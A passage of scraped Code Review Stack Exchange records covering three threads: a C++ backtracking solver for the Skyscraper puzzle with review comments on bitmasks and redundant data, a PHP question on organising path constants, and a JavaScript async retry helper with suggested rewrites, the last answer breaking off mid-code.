} int Row::getIdx(std::vector&lt;Field *&gt;::const_reverse_iterator crit) const { return size() - std::distance(mRowFields.crbegin(), crit) - 1; } std::vector&lt;Field *&gt; Row::getRowFields(const ReadDirection &amp;readDirection, std::vector&lt;Field&gt; &amp;boardFields, std::size_t size, const Point &amp;startPoint) { std::vector&lt;Field *&gt; fields; fields.reserve(size); std::size_t x = startPoint.x; std::size_t y = startPoint.y; if (readDirection == ReadDirection::topToBottom) { for (std::size_t i = 0; i &lt; size; ++i) { fields.emplace_back(&amp;boardFields[x + y * size]); ++y; } } else { // ReadDirection::rightToLeft for (std::size_t i = 0; i &lt; size; ++i) { fields.emplace_back(&amp;boardFields[x + y * size]); --x; } } return fields; } bool Row::onlyOneFieldWithoutNope(int nope) const { if (nopeExistsAsSkyscraperInFields(mRowFields, nope)) { return false; } if (nopeCount(nope) &lt; static_cast&lt;int&gt;(size()) - skyscraperCount() - 1) { return false; } return true; } bool Row::nopeExistsAsSkyscraperInFields(const std::vector&lt;Field *&gt; &amp;rowFields, int nope) const { auto cit = std::find_if( rowFields.cbegin(), rowFields.cend(), [nope](const auto &amp;field) { return field-&gt;skyscraper() == nope; }); return cit != rowFields.cend(); } std::optional&lt;int&gt; Row::nopeValueInAllButOneField() const { std::unordered_map&lt;int, int&gt; nopeAndCount; for (auto cit = mRowFields.cbegin(); cit != mRowFields.cend(); ++cit) { if (!(*cit)-&gt;hasSkyscraper()) { auto nopes = (*cit)-&gt;nopes(); for (const auto &amp;nope : nopes) { if (hasSkyscraper(nope)) { continue; } ++nopeAndCount[nope]; } } } for (auto cit = nopeAndCount.cbegin(); cit != nopeAndCount.end(); ++cit) { if (cit-&gt;second == static_cast&lt;int&gt;(size()) - skyscraperCount() - 1) { return {cit-&gt;first}; } } return {}; } void Row::insertSkyscraperToFirstFieldWithoutNope(int nope) { for (auto it = mRowFields.begin(); it != mRowFields.end(); ++it) { if ((*it)-&gt;hasSkyscraper()) { continue; } if (!(*it)-&gt;containsNope(nope)) { insertSkyscraper(it, nope); return; // there can be max one skyscraper per row; } } } bool Row::hasSkyscraper(int skyscraper) const { for (const auto &amp;field : mRowFields) { if (field-&gt;skyscraper() == skyscraper) { return true; } } return false; } class BorderIterator { public: BorderIterator(std::size_t boardSize); Point point() const; ReadDirection readDirection() const; BorderIterator &amp;operator++(); private: int mIdx = 0; std::size_t mBoardSize; Point mPoint{0, 0}; ReadDirection mReadDirection{ReadDirection::topToBottom}; }; BorderIterator::BorderIterator(std::size_t boardSize) : mBoardSize{boardSize} { } Point BorderIterator::point() const { return mPoint; } ReadDirection BorderIterator::readDirection() const { return mReadDirection; } BorderIterator &amp;BorderIterator::operator++() { ++mIdx; if (mIdx == static_cast&lt;int&gt;(2 * mBoardSize)) { return *this; } if (mIdx != 0 &amp;&amp; mIdx % mBoardSize == 0) { nextDirection(mReadDirection); } advanceToNextPosition(mPoint, mReadDirection, mIdx % mBoardSize); return *this; } struct Board { Board(std::size_t size); void insert(const std::vector&lt;std::optional&lt;ClueHints&gt;&gt; &amp;clueHints); void insert(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;startingSkyscrapers); bool isSolved() const; std::vector&lt;Field&gt; fields; std::vector&lt;Row&gt; mRows; std::vector&lt;std::vector&lt;int&gt;&gt; skyscrapers2d() const; std::size_t size() const; private: void makeRows(); void connnectRowsWithCrossingRows(); std::size_t mSize; }; Board::Board(std::size_t size) : fields{std::vector&lt;Field&gt;(size * size, Field{size})}, mSize{size} { makeRows(); } void Board::insert(const std::vector&lt;std::optional&lt;ClueHints&gt;&gt; &amp;clueHints) { assert(clueHints.size() == mRows.size()); for (std::size_t i = 0; i &lt; clueHints.size(); ++i) { if (!clueHints[i]) { continue; } mRows[i].addNopes(clueHints[i]-&gt;nopes, Row::Direction::front); mRows[i].addSkyscrapers(clueHints[i]-&gt;skyscrapers, Row::Direction::front); } } void Board::insert(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;startingSkyscrapers) { if (startingSkyscrapers.empty()) { return; } std::size_t boardSize = mRows.size() / 2; assert(startingSkyscrapers.size() == boardSize); for (std::size_t i = 0; i &lt; startingSkyscrapers.size(); ++i) { mRows[i + boardSize].addSkyscrapers(startingSkyscrapers[i], Row::Direction::back); } } bool Board::isSolved() const { std::size_t endVerticalRows = mRows.size() / 2; for (std::size_t i = 0; i &lt; endVerticalRows; ++i) { if (!mRows[i].allFieldsContainSkyscraper()) { return false; } } return true; } std::vector&lt;std::vector&lt;int&gt;&gt; Board::skyscrapers2d() const { std::vector&lt;std::vector&lt;int&gt;&gt; skyscrapers2d(mSize, std::vector&lt;int&gt;()); std::size_t j = 0; skyscrapers2d[j].reserve(mSize); for (std::size_t i = 0; i &lt; fields.size(); ++i) { if (i != 0 &amp;&amp; i % mSize == 0) { ++j; skyscrapers2d[j].reserve(mSize); } skyscrapers2d[j].emplace_back(fields[i].skyscraper()); } return skyscrapers2d; } std::size_t Board::size() const { return mSize; } void Board::makeRows() { BorderIterator borderIterator{mSize}; std::size_t rowSize = mSize * 2; mRows.reserve(rowSize); for (std::size_t i = 0; i &lt; rowSize; ++i, ++borderIterator) { mRows.emplace_back(Row{fields, mSize, borderIterator.point(), borderIterator.readDirection()}); } connnectRowsWithCrossingRows(); } void Board::connnectRowsWithCrossingRows() { std::size_t boardSize = mRows.size() / 2; std::vector&lt;int&gt; targetRowsIdx(boardSize); std::iota(targetRowsIdx.begin(), targetRowsIdx.end(), boardSize); for (std::size_t i = 0; i &lt; mRows.size(); ++i) { if (i == mRows.size() / 2) { std::iota(targetRowsIdx.begin(), targetRowsIdx.end(), 0); std::reverse(targetRowsIdx.begin(), targetRowsIdx.end()); } for (const auto &amp;targetRowIdx : targetRowsIdx) { mRows[i].addCrossingRows(&amp;mRows[targetRowIdx]); } } } void debug_print(Board &amp;board, const std::string &amp;title) { std::cout &lt;&lt; title &lt;&lt; '\n'; for (std::size_t i = 0; i &lt; board.fields.size(); ++i) { if (i % board.size() == 0 &amp;&amp; i != 0) { std::cout &lt;&lt; '\n'; } if (board.fields[i].skyscraper() != 0) { std::cout &lt;&lt; std::setw(board.size() * 2); std::cout &lt;&lt; &quot;V&quot; + std::to_string(board.fields[i].skyscraper()); } else if (board.fields[i].skyscraper() == 0 &amp;&amp; !board.fields[i].nopes().empty()) { auto nopes_set = board.fields[i].nopes(); std::vector&lt;int&gt; nopes(nopes_set.begin(), nopes_set.end()); std::sort(nopes.begin(), nopes.end()); std::string nopesStr; for (std::size_t i = 0; i &lt; nopes.size(); ++i) { nopesStr.append(std::to_string(nopes[i])); if (i != nopes.size() - 1) { nopesStr.push_back(','); } } std::cout &lt;&lt; std::setw(board.size() * 2); std::cout &lt;&lt; nopesStr; } else { std::cout &lt;&lt; ' '; } } std::cout &lt;&lt; '\n'; } template &lt;typename FieldIterator&gt; int visibleBuildings(FieldIterator begin, FieldIterator end) { int visibleBuildingsCount = 0; int highestSeen = 0; for (auto it = begin; it != end; ++it) { if (it-&gt;skyscraper() != 0 &amp;&amp; it-&gt;skyscraper() &gt; highestSeen) { ++visibleBuildingsCount; highestSeen = it-&gt;skyscraper(); } } return visibleBuildingsCount; } bool rowsAreValid(const std::vector&lt;Field&gt; &amp;fields, std::size_t index, std::size_t rowSize) { std::size_t row = index / rowSize; for (std::size_t currIndex = row * rowSize; currIndex &lt; (row + 1) * rowSize; ++currIndex) { if (currIndex == index) { continue; } if (fields[currIndex].skyscraper() == fields[index].skyscraper()) { return false; } } return true; } bool columnsAreValid(const std::vector&lt;Field&gt; &amp;fields, std::size_t index, std::size_t rowSize) { std::size_t column = index % rowSize; for (std::size_t i = 0; i &lt; rowSize; ++i) { std::size_t currIndex = column + i * rowSize; if (currIndex == index) { continue; } if (fields[currIndex].skyscraper() == fields[index].skyscraper()) { return false; } } return true; } std::tuple&lt;int, int&gt; getRowClues(const std::vector&lt;int&gt; &amp;clues, std::size_t row, std::size_t rowSize) { int frontClue = clues[clues.size() - 1 - row]; int backClue = clues[rowSize + row]; return {frontClue, backClue}; } bool rowCluesAreValid(const std::vector&lt;Field&gt; &amp;fields, const std::vector&lt;int&gt; &amp;clues, std::size_t index, std::size_t rowSize) { std::size_t row = index / rowSize; auto [frontClue, backClue] = getRowClues(clues, row, rowSize); if (frontClue == 0 &amp;&amp; backClue == 0) { return true; } std::size_t rowIndexBegin = row * rowSize; std::size_t rowIndexEnd = (row + 1) * rowSize; auto citBegin = fields.cbegin() + rowIndexBegin; auto citEnd = fields.cbegin() + rowIndexEnd; bool rowIsFull = std::find_if(citBegin, citEnd, [](const Field &amp;field) { return !field.hasSkyscraper(); }) == citEnd; if (!rowIsFull) { return true; } if (frontClue != 0) { auto frontVisible = visibleBuildings(citBegin, citEnd); if (frontClue != frontVisible) { return false; } } auto critBegin = std::make_reverse_iterator(citEnd); auto critEnd = std::make_reverse_iterator(citBegin); if (backClue != 0) { auto backVisible = visibleBuildings(critBegin, critEnd); if (backClue != backVisible) { return false; } } return true; } std::tuple&lt;int, int&gt; getColumnClues(const std::vector&lt;int&gt; &amp;clues, std::size_t x, std::size_t size) { int frontClue = clues[x]; int backClue = clues[size * 3 - 1 - x]; return {frontClue, backClue}; } bool columnCluesAreValid(const std::vector&lt;Field&gt; &amp;fields, const std::vector&lt;int&gt; &amp;clues, std::size_t index, std::size_t rowSize) { std::size_t column = index % rowSize; auto [frontClue, backClue] = getColumnClues(clues, column, rowSize); if (frontClue == 0 &amp;&amp; backClue == 0) { return true; } std::vector&lt;Field&gt; verticalFields; verticalFields.reserve(rowSize); for (std::size_t i = 0; i &lt; rowSize; ++i) { verticalFields.emplace_back(fields[column + i * rowSize]); } bool columnIsFull = std::find_if(verticalFields.cbegin(), verticalFields.cend(), [](const Field &amp;field) { return !field.hasSkyscraper(); }) == verticalFields.cend(); if (!columnIsFull) { return true; } if (frontClue != 0) { auto frontVisible = visibleBuildings(verticalFields.cbegin(), verticalFields.cend()); if (frontClue != frontVisible) { return false; } } if (backClue != 0) { auto backVisible = visibleBuildings(verticalFields.crbegin(), verticalFields.crend()); if (backClue != backVisible) { return false; } } return true; } bool skyscrapersAreValidPositioned(const std::vector&lt;Field&gt; &amp;fields, const std::vector&lt;int&gt; &amp;clues, std::size_t index, std::size_t rowSize) { if (!rowsAreValid(fields, index, rowSize)) { return false; } if (!columnsAreValid(fields, index, rowSize)) { return false; } if (!rowCluesAreValid(fields, clues, index, rowSize)) { return false; } if (!columnCluesAreValid(fields, clues, index, rowSize)) { return false; } return true; } bool guessSkyscrapers(Board &amp;board, const std::vector&lt;int&gt; &amp;clues, std::size_t index, std::size_t countOfElements, std::size_t rowSize) { if (index == countOfElements) { return true; } if (board.fields[index].skyscraper() != 0) { if (!skyscrapersAreValidPositioned(board.fields, clues, index, rowSize)) { return false; } if (guessSkyscrapers(board, clues, index + 1, countOfElements, rowSize)) { return true; } return false; } auto oldBitmask = board.fields[index].bitmask(); for (int trySkyscraper = 1; trySkyscraper &lt;= static_cast&lt;int&gt;(rowSize); ++trySkyscraper) { if (board.fields[index].containsNope(trySkyscraper)) { continue; } board.fields[index].insertSkyscraper(trySkyscraper); if (!skyscrapersAreValidPositioned(board.fields, clues, index, rowSize)) { board.fields[index].setBitmask(oldBitmask); continue; } if (guessSkyscrapers(board, clues, index + 1, countOfElements, rowSize)) { return true; } board.fields[index].setBitmask(oldBitmask); } board.fields[index].setBitmask(oldBitmask); return false; } std::vector&lt;std::vector&lt;int&gt;&gt; SolvePuzzle(const std::vector&lt;int&gt; &amp;clues, std::vector&lt;std::vector&lt;int&gt;&gt; startingGrid, int) { assert(clues.size() % 4 == 0); std::size_t boardSize = clues.size() / 4; auto clueHints = getClueHints(clues, boardSize); Board board{boardSize}; board.insert(clueHints); board.insert(startingGrid); if (board.isSolved()) { return board.skyscrapers2d(); } guessSkyscrapers(board, clues, 0, board.fields.size(), board.size()); return board.skyscrapers2d(); } std::vector&lt;std::vector&lt;int&gt;&gt; SolvePuzzle(const std::vector&lt;int&gt; &amp;clues) { return SolvePuzzle(clues, std::vector&lt;std::vector&lt;int&gt;&gt;{}, 0); } } // namespace codewarsbacktracking </code></pre> <p>Additional things like the unit test can be found <a href="https://github.com/SandroWissmann/Skyscrapers/tree/bitfield" rel="nofollow noreferrer">here</a></p>
[]
[ { "body": "<p>My overall impression of this code is that you are trying too hard to add abstractions to the code, but are not paying attention to performance. Of course, the trick is to find the right balance between the two. It might be an interesting excercise to write a solution to the problem in C, where it is more obvious when you try to do something inefficient, and then try to convert it back to C++ by finding out which pieces of code can be replaced by use of standard <a href=\"https://en.cppreference.com/w/cpp/container\" rel=\"nofollow noreferrer\">containers</a> and <a href=\"https://en.cppreference.com/w/cpp/algorithm\" rel=\"nofollow noreferrer\">algorithms</a>, and your own classes if there is nothing appropriate in the STL. Here is a list of some more specific problems that could be addressed:</p>\n<h1>Avoid nested <code>std::vector</code>s</h1>\n<p>You are still nesting <code>std::vector</code>s, for eaxmple <code>ClueHint::nopes</code>. There's also a less obvious one: <code>Board::mRows</code> is a vector of <code>Row</code>s, but each <code>Row</code> contains a <code>std::vector&lt;Field *&gt;</code>. So this is effectively a nested vector again.</p>\n<h1>Don't store redundant data</h1>\n<p>There is a big issue with <code>class Row</code>. It is storing a lot of redundant data. The only thing you need to know to be able to access a row on the board is (a reference to) the <code>Board</code> itself, and the number and direction of the row. If you really want to have a <code>class Row</code> to represent a row on the board, then you should make it work like a <a href=\"https://en.cppreference.com/w/cpp/string/basic_string_view\" rel=\"nofollow noreferrer\"><code>std::string_view</code></a> or <a href=\"https://en.cppreference.com/w/cpp/container/span\" rel=\"nofollow noreferrer\"><code>std::span</code></a>.</p>\n<p>Another issue is with <code>class Field</code>. It stores the bitmask of nopes, but also the size of the bitmask. The problem is that the size is the same for all the field in the board, so now you are storing a lot of redundant information. While the bitmask is 32 bits, <code>mSize</code> is a <code>std::size_t</code> so will most likely be 64 bits, and due to alignment restrictions, that means your <code>Field</code> will now be 128 bits large, 4 times more than necessary. I recommend you remove <code>mSize</code> from this class and just pass it to member functions that need to know the size.</p>\n<h1>Use bitmasks efficiently</h1>\n<p>The whole point of bitmasks is that <a href=\"https://en.wikipedia.org/wiki/Bitwise_operation\" rel=\"nofollow noreferrer\">bitwise operations</a> on them are very cheap. In particular, you don't have to set or reset one bit at a time, you can apply a whole mask in one go. For example, <code>Field::insertSkyscraper</code> contains a <code>for</code>-loop to fill in <code>mBitmask</code> one bit at a time, but you can do that much more efficiently like so:</p>\n<pre><code>void Field::insertSkyscraper(int skyscraper)\n{\n mBitmask = 1 &lt;&lt; (skyscraper - 1); // set just the bit corresponding to skyscraper\n mBitmask ^= (1 &lt;&lt; mSize) - 1; // invert all bits up to the size of the board\n}\n</code></pre>\n<p>The above still requires the size to be known, but you actually don't care about the higher bits until you want to check if a field has only one valid skyscraper height left. So you can replace this function with:</p>\n<pre><code>void Field::insertSkyscraper(int skyscraper)\n{\n mBitmask = ~(1 &lt;&lt; (skyscraper - 1));\n}\n</code></pre>\n<p>Looking at the code, it seems that it might actually be more efficient to store the bits inverted. The reason is that counting bits might not be as efficient, since not all CPUs doesn't support it in hardware (althought contemporary most CPUs do), and that you C++20 to get <a href=\"https://en.cppreference.com/w/cpp/numeric/popcount\" rel=\"nofollow noreferrer\"><code>std::popcount()</code></a>. If you invert the bits, then to check if only one possible skyscraper height is left on a field, you only have to <a href=\"https://graphics.stanford.edu/%7Eseander/bithacks.html#DetermineIfPowerOf2\" rel=\"nofollow noreferrer\">check if exactly one bit is set</a>, which is very simple to do yourself (C++20 gives us <a href=\"https://en.cppreference.com/w/cpp/numeric/has_single_bit\" rel=\"nofollow noreferrer\"><code>std::has_single_bit()</code></a>).</p>\n<p>Alternatively:</p>\n<h1>Consider replacing <code>Field</code> with a <code>std::bitset</code></h1>\n<p>Your <code>class Field</code> is basically reimplementing the features of <a href=\"https://en.cppreference.com/w/cpp/utility/bitset\" rel=\"nofollow noreferrer\"><code>std::bitset</code></a>. Consider just using the latter directly:</p>\n<pre><code>std::vector&lt;std::bitset&lt;32&gt;&gt; fields;\n</code></pre>\n<h1>Be consistent naming things</h1>\n<p>Why are some member variable names prefixed with an <code>m</code>, but others are not? Why are some functions using <a href=\"https://en.wikipedia.org/wiki/Camel_case\" rel=\"nofollow noreferrer\">camelCase</a>, but others <a href=\"https://en.wikipedia.org/wiki/Snake_case\" rel=\"nofollow noreferrer\">snake_case</a>? Try to be more consistent. Especially if you use prefixes to distinguish member variables from local or global variables, it stops being useful the moment you don't do this consistently.</p>\n<p>Also, <code>ClueHint</code> is redundant, either name it a <code>Clue</code> or a <code>Hint</code>.</p>\n<h1>Avoid redundant <code>std::optional</code>s</h1>\n<p>A <code>std::optional</code> is sometimes necessary if the type you want to return doesn't have a way to represent invalid/empty/none. However, <code>std::optional&lt;ClueHints&gt;</code> seems redundant, since a <code>ClueHint</code> can just have empty <code>skyscraper</code> and <code>nopes</code> variables, and that seems to me to be equivalent to saying there is no clue. Note that <code>std::optional&lt;&gt;</code> won't make things more efficient; it always reserves space for the whole type.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T06:49:36.373", "Id": "508808", "Score": "0", "body": "Member variables which are private are prefixed with an `m`. The public ones are not. The camelCase snake_case comes because the declaration of the method SolvePuzzle comes from codewars and is snake_case but I don't wanted to follow that style. Beside that many good advices. I will come back to it when I made all the changes." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T09:23:54.007", "Id": "508823", "Score": "0", "body": "Ah, I guess that makes sense then, I hadn't seen the convention to only use `m` for `private` member variables before." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T17:44:53.433", "Id": "508969", "Score": "0", "body": "beside replacing the bitmask with `std::bitset` I tried out all your suggestions but I don't see any speed improvements. At least the code got more readable. Are you sure there is not maybe also something wrong with the backtracking algorithm itself? Too me it looks like it just has to much insertions to do for certain puzzles." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T09:53:23.450", "Id": "257468", "ParentId": "257451", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T18:51:55.943", "Id": "257451", "Score": "1", "Tags": [ "c++", "performance", "c++17" ], "Title": "Skyscraper Solver for NxN Size Version 3 (Using Bitmasks)" }
257451
<p>I have a file called paths.php which is the first file that loads on every page request. I read that I should make a constant of the root folder path but not for every file, but the main point why I did constants for commonly used paths: when the path changes I don't need to go around different files changing require(ROOT . &quot;/path/to/file&quot;); instead all I need is to change the constant value. The path constant list is building up fast and every time I open that file I feel that something is not right and something needs to be changed so I decided to ask my first question here. I heard about autoloading, but by my (small) knowledge it's only for OOP projects (please fix me if I'm wrong)? This project is done without OOP only for practice purposes, I want to make at least one non-oop page and then move on to OOP.</p> <p>So here is the code, I hope to get criticism, tips, and what should I change or do differently with arguments so I can learn. <strong>This is not a full file, just a part of it - modules/templates paths</strong></p> <pre><code>// 04. defined(&quot;MODULES&quot;) or define(&quot;MODULES&quot;, RESOURCES . &quot;/modules&quot;); defined(&quot;FUNCTIONS&quot;) or define(&quot;FUNCTIONS&quot;, MODULES . &quot;/functions.php&quot;); defined(&quot;AUTH&quot;) or define(&quot;AUTH&quot;, MODULES . &quot;/authentication&quot;); defined(&quot;AUTH_CONTROL&quot;) or define(&quot;AUTH_CONTROL&quot;, AUTH . &quot;/auth-control.php&quot;); defined(&quot;SIGN_UP&quot;) or define(&quot;SIGN_UP&quot;, AUTH . &quot;/sign-up.php&quot;); defined(&quot;SIGN_IN&quot;) or define(&quot;SIGN_IN&quot;, AUTH . &quot;/sign-in.php&quot;); defined(&quot;FORMS&quot;) or define(&quot;FORMS&quot;, MODULES . &quot;/forms&quot;); defined(&quot;FORM_CONTROL&quot;) or define(&quot;FORM_CONTROL&quot;, FORMS . &quot;/form-control.php&quot;); defined(&quot;FORM_ERRORS&quot;) or define(&quot;FORM_ERRORS&quot;, FORMS . &quot;/form-errors.php&quot;); defined(&quot;FORM_VALIDATION_FUNCTIONS&quot;) or define(&quot;FORM_VALIDATION_FUNCTIONS&quot;, FORMS . &quot;/form-validation-functions.php&quot;); defined(&quot;UPLOAD_IMG&quot;) or define(&quot;UPLOAD_IMG&quot;, MODULES . &quot;/upload-image.php&quot;); // 05. // Templates Folder defined(&quot;TEMPLATES&quot;) or define(&quot;TEMPLATES&quot;, RESOURCES . &quot;/templates&quot;); // Main Templates defined(&quot;MAIN_TEMPLATES&quot;) or define(&quot;MAIN_TEMPLATES&quot;, TEMPLATES . &quot;/main-templates&quot;); defined(&quot;HEAD&quot;) or define(&quot;HEAD&quot;, MAIN_TEMPLATES . &quot;/head.php&quot;); defined(&quot;HEADER&quot;) or define(&quot;HEADER&quot;, MAIN_TEMPLATES . &quot;/header.php&quot;); defined(&quot;BANNER&quot;) or define(&quot;BANNER&quot;, MAIN_TEMPLATES . &quot;/banner.php&quot;); defined(&quot;FOOTER&quot;) or define(&quot;FOOTER&quot;, MAIN_TEMPLATES . &quot;/footer.php&quot;); defined(&quot;JS_FILES&quot;) or define(&quot;JS_FILES&quot;, MAIN_TEMPLATES . &quot;/js-files.php&quot;); // Content Templates defined(&quot;CONTENT_TEMPLATES&quot;) or define(&quot;CONTENT_TEMPLATES&quot;, TEMPLATES . &quot;/content-templates/&quot;); // Form Templates defined(&quot;FORM_TEMPLATES&quot;) or define(&quot;FORM_TEMPLATES&quot;, TEMPLATES . &quot;/form-tmp&quot;); </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T22:08:57.610", "Id": "508540", "Score": "0", "body": "Start using a template engine like Twig" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T22:22:23.463", "Id": "508542", "Score": "0", "body": "Yes, I'll but as I wrote in the post I want to try doing it for myself at least one time." } ]
[ { "body": "<p>If this is the first thing that loads on every page, then the chance of any of these constants being already defined is very small. Why then define them conditionally? These are <strong>constants</strong>, they should always have the same value. Therefore you can change:</p>\n<pre><code>defined(&quot;CONSTANT2&quot;) or define(&quot;CONSTANT2&quot;, CONSTANT1 . &quot;/constant2&quot;);\n</code></pre>\n<p>to:</p>\n<pre><code>define(&quot;CONSTANT2&quot;, CONSTANT1 . &quot;/constant2&quot;);\n</code></pre>\n<p>One of the reasons to define constants conditionally is that you don't want to overwrite constants that are part of PHP. In my opinion there is a better way to prevent this: Choosing longer constant names. So instead of calling a constant <code>HEAD</code>, you could call it <code>TEMPLATE_HEAD</code>. That way the chance of a naming collision is reduced.</p>\n<p>Since PHP 5.3 from 2009 is has been possible to define global constants this way:</p>\n<pre><code>const CONSTANT2 = CONSTANT1 . &quot;/constant2&quot;;\n</code></pre>\n<p>I know it is purely subjective, but I prefer this syntax. Later, when you start using OOP this will be the only syntax for class constants.</p>\n<p>Given the above your code could look like this:</p>\n<pre><code>// 04.\nconst FOLDER_MODULES = FOLDER_RESOURCES . '/modules';\nconst MODULE_FUNCTIONS = FOLDER_MODULES . '/functions.php';\nconst FOLDER_AUTH = FOLDER_MODULES . '/authentication';\nconst AUTH_CONTROL = FOLDER_AUTH . '/auth-control.php';\nconst AUTH_SIGN_UP = FOLDER_AUTH . '/sign-up.php';\nconst AUTH_SIGN_IN = FOLDER_AUTH . '/sign-in.php';\nconst FOLDER_FORMS = FOLDER_MODULES . '/forms';\nconst FORM_CONTROL = FOLDER_FORMS . '/form-control.php';\nconst FORM_ERRORS = FOLDER_FORMS . '/form-errors.php';\nconst FORM_VALIDATION_FUNCTIONS = FOLDER_FORMS . '/form-validation-functions.php';\nconst IMAGE_UPLOAD = FOLDER_MODULES . '/upload-image.php';\n\n// 05.\n// Templates Folder\nconst FOLDER_TEMPLATES = FOLDER_RESOURCES . '/templates';\n// Main Templates\nconst FOLDER_MAIN_TEMPLATES = FOLDER_TEMPLATES . '/main-templates';\nconst TEMPLATE_HEAD = FOLDER_MAIN_TEMPLATES . '/head.php';\nconst TEMPLATE_HEADER = FOLDER_MAIN_TEMPLATES . '/header.php';\nconst TEMPLATE_BANNER = FOLDER_MAIN_TEMPLATES . '/banner.php';\nconst TEMPLATE_FOOTER = FOLDER_MAIN_TEMPLATES . '/footer.php';\nconst TEMPLATE_JAVASCRIPT = FOLDER_MAIN_TEMPLATES . '/js-files.php';\n// Content Templates\nconst FOLDER_CONTENT_TEMPLATES = FOLDER_TEMPLATES . '/content-templates/';\n// Form Templates\nconst TEMPLATE_FORM = FOLDER_TEMPLATES . '/form-tmp';\n</code></pre>\n<p>Somehow I find this much easier on the eyes.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T14:15:57.823", "Id": "508571", "Score": "0", "body": "Thank you, i can't upvote because I'm new here, hope someone gonna do that" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T07:03:20.733", "Id": "257464", "ParentId": "257453", "Score": "3" } }, { "body": "<p>To avoid any conflicts with existing constants, choosing a longer name like KIKO suggest is sure fine. But we can do even better. Use class constants. Put the class in your own namespace. This not only avoids conflicts, it also allows to leverage the class autoloading mechanism.</p>\n<pre><code>class Constants {\n const MODULES = '...';\n ...\n}\n</code></pre>\n<p>To give it some structure I would even define multiple classes each containing only a cluster of related constants. And of course name those classes sensibly, not just Constants. That was just to show my point...</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T12:18:59.560", "Id": "508952", "Score": "0", "body": "Thanks, I'll try this when I move on to OOP." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T05:56:14.670", "Id": "257661", "ParentId": "257453", "Score": "1" } } ]
{ "AcceptedAnswerId": "257464", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T19:37:15.157", "Id": "257453", "Score": "1", "Tags": [ "php", "constants" ], "Title": "List of path constants" }
257453
<p>I wrote a simple function for retrying the passed function in case it throws. I did it for my app that needs to call an external API through the network, which may spuriously fail.</p> <pre><code>export async function retry(fn, retries, delayMs, onFailedAttempt = null) { let lastError = null; for (let attempt = 0; attempt &lt;= retries; attempt++) { if (attempt &gt; 0) { await delay(delayMs); } try { const res = await fn(); return res; } catch (error) { if (onFailedAttempt) { onFailedAttempt(error, attempt, retries, delayMs); } if (window.verbose) { console.debug(`Trial ${attempt + 1}/${retries} failed. Retrying in ${delayMs}ms...`); } lastError = error; } } throw lastError; } </code></pre> <p>This seems to work, do you folks think I have overlooked any corner case?</p>
[]
[ { "body": "<p>Your code looks good and will work well. I have made some minor improvements to improve readability and reduce redundancy.</p>\n<pre><code>export async function retry(fn, retries, delayMs, onFailedAttempt) {\n let attempt = 0;\n\n while (true) {\n try {\n return await fn();\n } catch (error) {\n if (onFailedAttempt) {\n onFailedAttempt(error, attempt, retries, delayMs);\n }\n\n if (window.verbose) {\n console.debug(`Trial ${attempt + 1}/${retries} failed. Retrying in ${delayMs}ms...`);\n }\n\n if (attempt++ &lt; retries) {\n await delay(delayMs);\n } else {\n throw error;\n }\n }\n }\n}\n</code></pre>\n<p>Improvements:</p>\n<ol>\n<li><p><code>onFailedAttempt = null</code> in the function signature is redundant. If <code>onFailedAttempt</code> is not passed as an argument, its value will be <code>undefined</code>. Which will work equally well in your case when checking its value.</p>\n</li>\n<li><p>Moving <code>await delay(delayMS)</code> in catch block to keep related code together. As we only delay when an error occurs and if this was not the last attempt.</p>\n</li>\n<li><p><code>const res = await fn()</code>, <code>res</code> is not needed here. You can simply do <code>return await fn()</code>.</p>\n</li>\n<li><p>We could use the <code>do...while</code> here, but we'll have to check the <code>attempt &lt; retries</code> condition two times in that situation. By using <code>while (true)</code>, we only have to check it once.</p>\n</li>\n<li><p>We can also remove the <code>lastError</code> variable. If we get an error and this was the last attempt, we simply <code>throw error</code>.</p>\n</li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T14:35:09.570", "Id": "508732", "Score": "0", "body": "Thank you for the review! As a solo developer it is really helpful to be able to have other dev looking at my code :) I like how to put the delay in the catch block. On the other hand, I still find the for loop more readable than a do while, but that's subjective :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:03:03.173", "Id": "508736", "Score": "0", "body": "@LouisCoulet I have updated the code to make it even better. Yes, you are right, you can use a `for`, `while`, or a `do...while` loop here. It's all subjective. Even from a performance perspective, it doesn't matter much. However, If there is less code, there will be less issues." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:46:00.223", "Id": "508750", "Score": "0", "body": "+1, but still think while(true) makes the code harder to read, now I have to read the count to know how this gets out." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:55:59.360", "Id": "508755", "Score": "0", "body": "Thank you, I find this version even more readable! Though the main point is correctness and robustness against corner cases, the loop syntax is secondary (to me at least)" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T13:47:20.500", "Id": "257573", "ParentId": "257457", "Score": "4" } }, { "body": "<p>Loved your little function and decided to give a shot at changing it. Whether you like it more or less is for you to decide, but I will try to outline principles and goals which I tried to achieve with my modification and would be happy to hear any feedback, suggestions and even criticisms are all very welcome.</p>\n<p>So let's start with the function straight away:</p>\n<pre><code>export async function retry({ \n taskFn, retries = 3 , delay = 1000, onFailedAttempt = null, logDebug = null }) {\n\n let attempt = 0;\n let allErrors = [];\n logDebug = logDebug || _logDebug;\n\n do{\n attempt++;\n try{\n await runDelay({ skipDelay: attempt === 1});\n return await 